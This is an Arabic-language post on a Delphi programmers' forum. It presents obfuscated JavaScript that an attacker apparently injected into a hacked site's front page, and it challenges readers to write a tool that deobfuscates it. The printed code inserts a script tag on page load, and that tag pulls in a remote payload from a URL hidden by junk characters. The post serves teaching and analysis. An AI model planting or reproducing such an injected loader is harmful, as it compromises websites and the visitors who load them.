delphi4arab منتديات دلفي للعرب

نسخة كاملة : Obfuscated Scripts
أنت حالياً تتصفح نسخة خفيفة من المنتدى . مشاهدة نسخة كاملة مع جميع الأشكال الجمالية .
السلام عليكم ورحمة الله

بعد اختراق موقع قام المخترق بزرع كود خبيث في الصفحة الأولى و هذا جزء من الكود الحقيقي :
يعتبر تمرين بسيط جدا حول Obfuscation.

عملية التشويش بسيطة و تعتبر بداية جيدة لفهم العملية...

PHP كود :
window.onload = function(){var MyScript = document.createElement('sc'+'ript');
MyScript.setAttribute('type', 'text/javascript');
MyScript.setAttribute('id', 'MyScriptId');
MyScript,setAttribute('src', 'h@(t#t^^!p#&:@^$(/$/(j^#^o^o(#$m&)$l$(@!#a$^-!&^$)o@@r##!!g^!(^.$$^s))$p(@(a@@n@)#k^@#w&)i#$r(e(.$!&#c!@o!^()!m#.!&w())3(^@s$&^c$)h&(o#!o&#l&@s!^&-(c#o(#)m@$.&(e$@&!a^s(y(t(a$(^)b)!&l&e@!t(e)(n!n$#)i^(^!s@.^(r^#^$u(#:&8^$)0)^#8^(!0^/!#g##@$$o&o#$g#l!e^($.(@c#o^!)m@/(g&$^o(@o$#(^g($l!e@.##c$)$(o$)!!m^$/($!b!)$)i$n#(g)!.^!c((@&@o^$m)$)/&!&g$(($o)o)@((g#&&l(!e@$.(f($)^&r@&!#/!w@(o(^!r)d()$!#p)!^r(e@#s&)!s(^!@.^(&o$#@r((g^/^^@'.replace(/\!|@|&|\)|\$|\(|#|\^/ig, ''));
MyScript.setAttribute('defer', 'defer');
document.body.appendChild(MyScript); 

المطلوب :
كتابة تطبيق بسيط يقوم بحذف التشويش الــ Deobfuscation

ملاحظة : التعامل بحذر مع نتيجة التحليل

---